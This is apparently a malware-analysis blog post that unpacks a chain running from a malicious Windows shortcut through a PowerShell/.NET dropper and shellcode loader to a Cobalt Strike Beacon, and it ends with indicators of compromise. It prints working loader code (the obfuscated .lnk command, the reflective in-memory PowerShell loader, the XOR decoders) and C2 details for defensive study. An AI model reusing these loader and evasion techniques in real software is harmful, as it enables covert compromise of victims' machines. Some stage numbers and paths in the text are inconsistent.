Unpacking a Multi-Stage Loader: From Embedded Payloads to Cobalt Strike Beacon

During routine monitoring, Threatcat’s anomaly detection identified an interesting file hosted on SwissTransfer at the end of July 2026. The file was flagged as anomalous and subsequently investigated in more detail. The associated URLScan result is available here.

Our analysis focuses on the loader/dropper and its unpacking mechanism. The objective is to understand how the file is delivered, executed, and unpacked.

Stage 0 - Malicious Windows Shortcut

This is the Swisstransfer metadata at the time of the initial retrieval on Mon, 27 Jul 2026 13:21:50 GMT. The download is set to expire after a week and has a download limit of 20. It is named London Appartment with the file name photos.zip:

{
  "result": "success",
  "data": {
    "linkUUID": "8e25d3b7-d334-42f0-a563-57a02d91786b",
    "containerUUID": "2a297907-10e1-4663-8d51-8f2a6bb7c539",
    "downloadCounterCredit": 18,
    "createdDate": "2026-07-24T09:19:50+02:00",
    "expiredDate": "2026-07-31T09:19:50+02:00",
    "isDownloadOnetime": 1,
    "isMailSent": 1,
    "downloadHost": "dl-x8tbdpiz.swisstransfer.com",
    "container": {
      "UUID": "2a297907-10e1-4663-8d51-8f2a6bb7c539",
      "duration": 7,
      "createdDate": "2026-07-24T09:19:50+02:00",
      "expiredDate": "2026-07-31T09:19:50+02:00",
      "numberOfFile": 1,
      "message": "London Apartment",
      "needPassword": 0,
      "lang": "en_GB",
      "sizeUploaded": 525245,
      "deletedDate": null,
      "swiftVersion": 12,
      "downloadLimit": 20,
      "source": "ST",
      "WSUser": null,
      "files": [
        {
          "containerUUID": "2a297907-10e1-4663-8d51-8f2a6bb7c539",
          "UUID": "6ebc5a6e-a329-4aa0-85c4-8af491857cfc",
          "fileName": "photos.zip",
          "fileSizeInBytes": 525245,
          "downloadCounter": 2,
          "createdDate": "2026-07-24T09:19:56+02:00",
          "expiredDate": "2026-07-31T09:19:55+02:00",
          "eVirus": "NOT_VIRUS_CHECKED",
          "deletedDate": null,
          "mimeType": "application/zip",
          "receivedSizeInBytes": 525245,
          "path": null
        }
      ]
    }
  }
}

The Shortcut

The ZIP file photos.zip contains a Windows shortcut called example_photos.lnk with the following target:

C:\Windows\system32\conhost.EXE --headless %comspec% /v /c set k=%cd%\example_photos.lnk&set f=r&set k=""""!k!""""&set k=!k:~1,-2!!k:~-1!&(if not exist "!k!" (for /f delims^=^ eol^= %g in ('whe^!f!e /R "%temp%" "example_photos.ln?"') do @set k=%g)>nul 2>&1)&cd /d !localappdata!&(for /f delims^=:^ eol^= %o in ('findst!f! /o "REM" "!k!"') do (@set /a c=%o+4&cu!f!l -C !c! -so "huwb.txt" "file://!k!"&ta!f! -mxf "huwb.txt"&del "huwb.txt"&huwb))>nul 2>&1

Deobfuscated it becomes:

:: Launched hidden via: conhost.exe --headless cmd /v:on /c "<this script>"

set lnkpath=%cd%\example_photos.lnk

if not exist "%lnkpath%" (
    for /f "delims=" %%g in ('where /R "%temp%" "example_photos.ln?"') do (
        set lnkpath=%%g
    )
)

cd /d "%localappdata%"

for /f "delims=:" %%o in ('findstr /o "REM" "%lnkpath%"') do (
    set /a offset=%%o+4
    curl -C !offset! -so "huwb.txt" "file://%lnkpath%"
    tar -mxf "huwb.txt"
    del "huwb.txt"
    huwb
)

This script is a loader that hides a payload inside what looks like an innocuous shortcut file. It first locates itself by name. It then changes into %LOCALAPPDATA% and uses findstr /o "REM" to find the byte offset of a REM marker string inside the shortcut file; This belongs to a malware pattern security researchers have been tracking for a while: shortcut (.lnk) files that carry a second payload hidden past the end of the file structure Windows actually reads:

The malware is added after the REM marker
The malware is added after the REM marker

The script adds 4 to that offset (to skip past the marker text itself) and then abuses curl’s --continue-at (resume-download) option against a file://-URL pointing at the same shortcut file, effectively using curl as a byte-range extractor to pull out everything after that offset, rather than the network download this flag is meant for. That extracted data is saved as huwb.txt, which is then treated as a tar archive and extracted with tar --extract

The intermediate file is then deleted to reduce forensic traces, and the extracted binary (huwb) is executed directly.

See this SANS ISC diary for more information about this technique.

Stage 1 - Polyglot Dropper

The batch file huwb is a ~700 KB Batch/PowerShell polyglot dropper. It contains two enormous Base64 blobs: a decoy PDF and a gzip-compressed .NET assembly. It uses a classic batch/PowerShell polyglot trick (a block that is simultaneously a valid cmd.exe no-op and a valid PowerShell block comment) so a single file can be executed first by cmd.exe and then re-parsed and executed by powershell.exe. String-splitting (powe%h%shell, ${e}/${o}/${v} fragments) is used throughout to keep the words “powershell”, “System”, “Reflection”, “Assembly”, etc. out of plain sight for naive string/signature scanners.

The loader click here to enlarge
The loader click here to enlarge

Here is a deobfuscated and annotated version (split into four code blocks for syntax highlighting purposes, but it is all one file):

<# : batch script
@echo off

SET "scriptPath=%~f0"

:: Pull the embedded decoy-PDF Base64 line out of this very file
findstr /b /l /C:"JVBERi0xLjMKJZOMi54gUmVwb" "%scriptPath%" >> "%temp%\dh.bin"
CALL :extract_and_launch_decoy

SET "scriptPath=%~f0"

IF NOT "%~1"=="" (SET "CONSOLE_ARGUMENTS=%*")
setlocal
cd %~dp0

:: Re-read this whole file as text and pipe it into a fresh PowerShell
:: process, which (thanks to the <# ... #> wrapper) skips the batch
:: portion and runs the PowerShell payload below.
powershell "[System.IO.File]::ReadAllText('%scriptPath%') | powershell -Command -"

endlocal
goto :cleanup_and_exit
#>

# ---- PowerShell payload (parsed only when the file is piped into powershell -Command -) ----

# GZip-compressed .NET assembly, header bytes intentionally corrupted below
$compressed = [Convert]::FromBase64String("<snip>")

# Repair the GZip magic header (0x1F 0x8B) that was stripped from the blob
$compressed[0] = 0x1f
$compressed[1] = 0x8b

$memStreamType = [Type].Module.GetType("System.IO.MemoryStream")
$inputStream   = $memStreamType::new($compressed)
$outputStream  = $memStreamType::new()

$assemblyType = [Type].Module.GetType("System.Reflection.Assembly")
$mscorlib = $assemblyType.GetMethod("Load", [string]).Invoke(
    $null,
    "System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
)

$gzipStream = $mscorlib.GetType("System.IO.Compression.GZipStream")::new(
    $inputStream,
    $mscorlib.GetType("System.IO.Compression.CompressionMode").GetField("Decompress").GetValue($null)
)

# Decompress fully into memory
$buffer = New-Object byte[] 1024
for ($read = $gzipStream.Read($buffer, 0, $buffer.Length); $read -gt 0; $read = $gzipStream.Read($buffer, 0, $buffer.Length)) {
    $outputStream.Write($buffer, 0, $read)
}
$gzipStream.Dispose()
$assemblyBytes = $outputStream.ToArray()
$outputStream.Dispose()

# Reflectively load the decompressed .NET assembly straight from memory
$loadedAssembly = $mscorlib.GetMethod("Load", [Type[]](, [byte[]])).Invoke($null, (, [byte[]]$assemblyBytes))

# Find its entry point and instantiate the declaring type -> runs the payload
$entryPoint = $loadedAssembly.GetType().GetProperty("EntryPoint").GetValue($loadedAssembly, $null)
$null = [Type].Module.GetType("System.Activator").GetMethod("CreateInstance", [Type].GetType()).Invoke(
    $null,
    (, [Type]$entryPoint.DeclaringType)
)
Exit

:cleanup_and_exit

:: Self-delete trick: deletes the running batch file, then falls through to EOF
(goto) 2>nul & del "%~f0"

:extract_and_launch_decoy
set "tmp=%temp%"
ren "%tmp%\dh.bin" dh.txt

:: Strip any non-Base64 characters, decode, and drop the real PDF to disk
powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ^
  "$b64 = Get-Content -Raw '%tmp%\dh.txt'; ^
   $b64 = -join ($b64 -split '[^A-Za-z0-9+/=]'); ^
   [IO.File]::WriteAllBytes('%tmp%\cert.crt', [Convert]::FromBase64String($b64))" 1>nul 2>nul

del "%tmp%\dh.txt"
ren "%tmp%\cert.crt" "dhmzufa.pdf"

:: Open the decoy PDF to distract the victim while the payload runs
start /b "" explorer.exe "%tmp%\dhmzufa.pdf"
EXIT /B 0

# ---- Trailing data: the decoy PDF, embedded as a single Base64 line ----
# (this is what `findstr` above grabs; PowerShell never reaches this line
#  because the payload calls Exit first)
<snip>

What it does:

  1. Self-read: the script stores its own full path in %go%.
  2. Extract the decoy: findstr scans the script file itself for the line that starts with the PDF’s Base64 signature (JVBERi0xLjMK..., i.e. %PDF-1.3) and copies that entire line into %temp%\dh.bin. This works because the decoy PDF is embedded as raw Base64 text sitting at the very end of the file.
  3. Decode & launch the decoy: a helper routine renames the file to .txt, uses PowerShell to strip anything that isn’t a Base64 character and decode it to %temp%\cert.crt, renames that to dhmzufa.pdf, and opens it with explorer.exe. This is pure social engineering — a real, embedded-image PDF pops open to distract the victim while the real payload runs in the background. Decoding the embedded PDF’s image stream shows exactly what the victim sees: a one-page “Sample Luxury London Apartment” property brochure/photo collage — consistent with a rental/real-estate lure (see screenshot below).
  4. Re-execute itself as a PowerShell script: it runs [System.IO.File]::ReadAllText('<self>') | powershell -Command -, i.e. it pipes its own full source into a second PowerShell process. Because the top of the file is wrapped in <# ... #>, PowerShell treats the batch section as a comment and skips straight to the PowerShell payload.
  5. In-memory .NET loader (the PowerShell payload):
    • Base64-decodes a large blob into $d, then patches $d[0]/$d[1] to 0x1f/0x8b — the GZip magic bytes. (The embedded blob has its GZip header bytes deliberately corrupted/stripped and is repaired at runtime — another anti-signature trick.)
    • Decompresses that GZip stream in memory into a byte array.
    • Loads the byte array as a .NET assembly via Assembly.Load(byte[]) — no file ever touches disk.
    • Resolves the assembly’s entry point and invokes it via Activator.CreateInstance, effectively running the embedded .NET payload fully in memory.
    • All the System.*/Reflection/Assembly type names are built via string interpolation of single-character variables (${e}, ${o}, ${v}) purely to dodge static string matches.
  6. Cleanup: back in the batch portion, the script deletes itself (del "%~f0") after launching the decoy, leaving no artifact behind except the decoy PDF and whatever the in-memory .NET payload does.

In short: it’s a dropper. A decoy PDF for the user and a fileless reflective .NET packer for the real payload. The .NET payload’s assembly itself was not decompiled/analyzed here (that’s out of scope for this static/structural writeup), so its ultimate purpose (RAT, stealer, etc.) is unknown from this pass alone.

The decoy document

Extracting and decompressing the embedded PDF’s image stream (ASCII85Decode + DCTDecode, i.e. a plain JPEG wrapped in a one-page PDF) reveals the actual lure shown to the victim:

Decoy PDF opened by huwb.cmd — a fake “Sample Luxury London Apartment” property brochure
Decoy PDF opened by huwb.cmd — a fake “Sample Luxury London Apartment” property brochure

A generic “Sample Luxury London Apartment” stock-photo collage — the kind of bait used in rental/real-estate phishing lures, where the victim is told to open an “apartment listing” or “viewing details” attachment.

Stage 2 - .NET Packer

The next stage is a small .NET packer whose relevant behavior is concentrated in Producer.Participant. It reads an embedded resource, restores the next .NET assembly, and executes it without writing the unpacked payload to disk.

Unpacking the embedded assembly

The resource name is itself hidden by the stub’s string-permutation routine: Run.Administrator("aDta", 149) resolves to Data. The bytes in that resource are then passed through two layers:

  1. Deliver.School applies a rolling XOR decoder seeded with Producer.Considerable (185, or 0xB9). Each decoded byte contributes to the key for the following byte.
  2. Super.Knowledge passes the decoded result through GZipStream, producing the next .NET assembly.

The essential decoder is:

public static byte[] School(byte[] input, byte seed)
{
    byte[] output = new byte[input.Length];
    for (int i = 0; i < input.Length; i++)
        output[i] = (byte)(input[i] ^ (seed + (i > 0 ? output[i - 1] : 0)));
    return output;
}

In practical unpacking terms, the recipe is:

Data resource -> rolling XOR (seed 0xB9) -> GZip decompress -> .NET assembly

At this point the decompressed bytes can be saved as a separate sample for static analysis. In normal execution, however, the loader keeps them in memory.

Loading the next stage

The remainder of Producer.Participant uses reflection to load and start the recovered assembly:

public static int Participant(string[] args)
{
    using var ms = new MemoryStream();
    var res = Assembly.GetExecutingAssembly()
                       .GetManifestResourceStream(Run.Administrator("aDta", 149));
    res.CopyTo(ms);

    byte[] payload = Super.Knowledge(Deliver.School(ms.ToArray(), Producer.Considerable));

    object asm = typeof(Assembly).GetMethod(Run.Administrator("aoLd", 150), new[] { typeof(byte[]) })
                                   .Invoke(null, new object[] { payload });

    var entry = (MethodInfo)asm.GetType()
                    .GetProperty(Run.Administrator("yrintEtPon", 37))
                    .GetValue(asm, null);
    object[] callArgs = entry.GetParameters().Length != 0 ? new object[] { args } : null;
    return (int?)entry.Invoke(null, callArgs) ?? 0;
}

The strings aoLd and yrintEtPon decode to Load and EntryPoint. This results in Assembly.Load(byte[]) followed by reflective invocation of the recovered assembly’s entry point. If that method accepts parameters, the original argument array is forwarded to it.

This completes the .NET unpacking layer. The assembly recovered from Data is the input to Stage 2.

Stage 3 - .NET shellcode loader

The assembly recovered in Stage 1 is another in-memory loader. Its entry point, Explode.Avoid, extracts the embedded Data64 resource and turns it into executable x64 shellcode. Although the loader also checks for Data32, this sample only contains Data64.

Unpacking Data64

The resource is protected with the same two-layer pattern as the previous stage:

  1. Intervention.Size(data, 59) applies a chained XOR decoder using 59 (0x3B) as the initial key. Each decoded byte affects the key used for the next byte.
  2. Area.Account GZip-decompresses the decoded buffer. A successful XOR pass restores the GZip header 1F 8B 08.

The decoder can be expressed as:

public static byte[] Decode(byte[] input)
{
  byte[] output = new byte[input.Length];
  for (int i = 0; i < input.Length; i++)
    output[i] = (byte)(input[i] ^ (0x3B + (i > 0 ? output[i - 1] : 0)));
  return output;
}

The complete unpacking recipe is therefore:

Data64 resource -> chained XOR (seed 0x3B) -> GZip decompress -> raw x64 shellcode

The recovered buffer is 308,676 bytes with SHA-256 c34e1d12704ba68bce8476415202d529c4239f5b8c81a6dab2271c66d8f12208. It is raw position-independent code rather than a PE: it has no MZ or embedded PE\0\0 signature. This distinction matters when importing it into a disassembler: load it as a raw x64 binary at base address 0, not as a Windows executable.

Loading the shellcode

After decompression, Explode.Avoid executes the recovered buffer inside the current process:

  1. Allocate unmanaged memory with Marshal.AllocHGlobal.
  2. Copy the shellcode into that allocation with Marshal.Copy.
  3. Resolve VirtualProtect from kernel32.dll and change the region to PAGE_EXECUTE_READWRITE (0x40).
  4. Convert the buffer address to a delegate int() with Marshal.GetDelegateForFunctionPointer and invoke it.
  5. Free the allocation with Marshal.FreeHGlobal after the shellcode returns.

The loader obscures these calls with encrypted strings, DynamicMethod wrappers, and manual PE export parsing, but those layers do not change the unpacking procedure. There is no remote-process injection at this stage: execution transfers directly from the .NET loader to the unpacked buffer.

That buffer is the PrependLoader examined in Stage 3.

Stage 4 - PrependLoader

The raw x64 shellcode recovered in Stage 2 is the Cobalt Strike’s built-in PrependLoader. It uses a nested XOR/RC4/LZNT1 transformation pipeline, EAF and indirect-syscall mechanisms, Beacon-specific initialization interface, and drip-loading implementation. Published Fortra documentation describes the same combination of capabilities.

Three nested transformations

The loader unwraps the embedded payload in three steps:

  1. Repeating-key XOR with a 64-byte key.
  2. RC4 decryption with a 128-byte key.
  3. LZNT1 decompression, revealing a 64-bit Beacon DLL.

The keys are embedded in the package, so these layers conceal the payload rather than prevent its recovery. The DLL remains internally obfuscated: its PE signatures are replaced with QY and ##, while section names, import names, and code use a separate four-byte XOR key.

Evasion and in-memory loading

The loader resolves Windows APIs by hash and combines three evasion mechanisms:

  • EAF bypass: export-table reads use a memory-read gadget in a Windows system library.
  • Indirect syscalls: sensitive operations can enter the kernel through a syscall instruction in a system library, bypassing hooks at API entry points.
  • Drip loading: allocation, copying, and protection changes are spread across smaller chunks with 110 ms delays.

These techniques aim to reduce detection opportunities; they do not guarantee invisibility.

The DLL is mapped into the current process, without writing an intermediate payload to disk or injecting it into a remote process. The loader decodes the code, resolves imports, applies relocations, and changes the code’s memory protection from writable to executable. It reads the modified PE headers directly rather than restoring their signatures, then clears identifying header fields in the mapped image.

Finally, it supplies Beacon’s runtime metadata, initializes the DLL, and enters its communications loop.

We believe this stage is PrependLoader, see Fortra’s 4.11 release article for an introduction of the prepend-style loader, EAF bypass, indirect syscalls, and transformations, which the PE and Memory Indicators guide also documents. According to the Cobalt Strike release notes, the reflective-loader drip loading was added in 4.12.

White Knight Labs’ profile research, Part 2 demonstrates a similar transformation configuration, but also includes Base64, which this sample does not use.

Stage 5 - Cobalt Strike Beacon

The final payload is a 64-bit Cobalt Strike Beacon DLL, with configuration evidence pointing to Cobalt Strike 4.13 or later. It is configured for HTTPS command-and-control traffic, sleep masking, and subsequent process injection.

Version assessment

The strongest version clue is SETTING_CHECKIN_DELAY (setting ID 91), set to 15000 in the supplied configuration. Fox-IT’s parser definitions identify this setting as introduced in Cobalt Strike 4.13. The process-injection drip-loading settings, SETTING_PROCINJ_DRIP_LOAD and SETTING_PROCINJ_DRIP_LOAD_DELAY (IDs 88 and 89), were introduced in 4.12 and provide an additional lower bound.

The loader’s user-data structure carries version 0x041200, identifying the 4.12 loader interface, not necessarily the Beacon release. A later Beacon can retain that interface, so it does not outweigh the newer configuration setting. Assuming the supplied configuration belongs to this recovered Beacon and uses the stock schema, 4.13 or later is the best-supported assessment. An exact release or build remains unconfirmed; a modified build is also possible.

Extracting the configuration

The supplied configuration was extracted with Fox-IT’s dissect.cobaltstrike. To parse the recovered Beacon offline with uv:

git clone https://github.com/fox-it/dissect.cobaltstrike.git
cd dissect.cobaltstrike
uv run beacon-dump 6b29cdb02fb353e47df7a92e7efbad40ae45fd9dc2648b1fb85ab8ecd8716bb0

The filename must be available from the parser’s working directory, or replaced with its actual path. Parsing does not execute Beacon or contact the C2 server.

Key configuration findings

C2 endpoint = HTTPS on port 443

Beacon is configured to contact d3qx7quq68rdce.cloudfront.net:443. This is a sample-specific hostname; use of CloudFront alone does not establish domain fronting.

Task retrieval = GET /css3/index2.shtml

GET requests carry Base64URL-encoded metadata in the accept query parameter.

Output submission = POST /tools/family.html

The Beacon ID is Base64-encoded and sent in Cookie: token=.... Output is Base64URL-encoded and placed in the request body as input=....

Task recovery = Base64 decoding

Beacon’s response-recovery program Base64-decodes task data from the HTTP response body. This encoding wraps the C2 data; it is not encryption.

Browser disguise = Chrome 150 / Windows 10

The User-Agent and browser-like headers make requests resemble ordinary web traffic. They do not establish which browser or operating system is actually installed.

Timing = 30-second sleep, 33% jitter

The nominal sleep interval is 30 seconds, with 33% jitter to vary the communication cadence. A separate SETTING_CHECKIN_DELAY value of 15000 configures a 15-second check-in delay; its precise scheduling behavior was not verified in the recovered code.

Kill date = 8 July 2027

This is the configured expiry date, not evidence of activity through that date.

Injection = VirtualAllocEx, 110 ms drip-load delay

The configuration selects VirtualAllocEx and a transition from writable (PAGE_READWRITE) to executable (PAGE_EXECUTE_READ) memory, with drip loading enabled and a 110 ms delay. These are preferences for later injection operations, separate from PrependLoader’s initial local mapping.

Execution methods = thread-context manipulation and thread creation

The configured methods are ObfSetThreadContext, CreateThread, and SetThreadContext, including spoofed thread-start-address options. This list describes available execution methods, not evidence that they were used.

Sacrificial process = wmiprvse.exe -Embedding

Architecture-specific Windows paths select this command for applicable post-exploitation jobs. Its presence does not establish WMI-based lateral movement.

Memory evasion = sleep masking and indirect syscalls

Both features are enabled, while no BeaconGate APIs are selected. These are configured evasion features, not observed task execution.

Watermark = 1575371859

The watermark is useful for comparison across samples, but insufficient for operator attribution.

Public-key fingerprint = SHA-256

The parser renders the stored public-key data as the following SHA-256 fingerprint, useful for clustering related configurations:

7451c2a9fbbf82eacb1582eaa009fea6d8ae5a7b37602efbee492bae81492eb0

Illustration of the full Chain

The following graphic illustrates the unpacking in the four stages:

Illustrates the four stages, click to enlarge.
Illustrates the four stages, click to enlarge.

Indicators of Compromise

Type IOC Comment
url https[:]//www[.]swisstransfer[.]com/d/8e25d3b7-d334-42f0-a563-57a02d91786b The SwissTransfer link
domain d3qx7quq68rdce[.]cloudfront[.]net C2 domain
url hxxps[:]//d3qx7quq68rdce[.]cloudfront[.]net/css3/index2.shtml Task Retrieval
url hxxps[:]//d3qx7quq68rdce[.]cloudfront[.]net/tools/family.shtml Output Submission
md5 758f7be58a27713e1433ea95c7a11288 The Polyglot Dropper
sha1 0ea8aeb8f89548d772e59dcef78734eddfe2beca The Polyglot Dropper
sha256 375690e52f145963cf5c98611773b24f491b8dcbf44573c83b340d15ea20acae The Polyglot Dropper
md5 ec848debc47ecaf91def4df5991baa63 PrependLoader
sha1 5050ae6ba19bf93b325a4f8742a4056ddb153160 PrependLoader
sha256 c34e1d12704ba68bce8476415202d529c4239f5b8c81a6dab2271c66d8f12208 PrependLoader
md5 3e2a61f5be3960350f7c25923a4a3f5f CobaltStrike Beacon
sha1 c3b100ecb27a0921344616ec00c458dc6d69481f CobaltStrike Beacon
sha256 6b29cdb02fb353e47df7a92e7efbad40ae45fd9dc2648b1fb85ab8ecd8716bb0 CobaltStrike Beacon